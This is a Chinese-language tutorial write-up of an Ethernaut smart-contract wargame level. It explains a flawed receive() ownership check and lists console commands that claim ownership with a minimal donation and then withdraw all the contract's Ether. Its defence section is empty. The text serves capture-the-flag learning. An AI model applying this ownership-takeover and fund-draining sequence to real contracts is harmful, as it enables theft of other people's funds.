Level Logo

本系列是由 Leek DEV 编写的一个关于 智能合约黑客攻击 Ethernaut 系列的讲解视频,每个关卡都会有讲解视频和 文档,可以从 YouTube 或者 BILIBILI 观看更加详细的讲解视频。

关卡题目

本关卡有2个通关目标:

  • 将合约中的 Owner 设置为自己的地址
  • 将合约中的 Ether 全部转走

Hack思路

合约本来应该是想做一个捐款合约,捐钱最多的人拥有这个合约的权限,但是在接收 Ether 的 receive() 回调方法里验证逻辑不对,可以比较容易跳过检查, 用非常少的钱就用有这个合约的 Owner 权限。

// 1.检查合约owner、余额等信息
await contract.owner();
await getBalance(contract.address)
// 2.发送最低金额以成为捐款人
await contract.contribute({value: toWei("0.0001")})
// 3.直接发送给合同 1 wei,这将使我们成为新的所有者
await sendTransaction({ from: player, to: contract.address , value:1 })
// 4.现在我们是合同的所有者,撤回所有资金
await contract.withdraw();
// 5.通关检查
await contract.owner();
await getBalance(contract.address)

Hack案例

防范思路

参考资料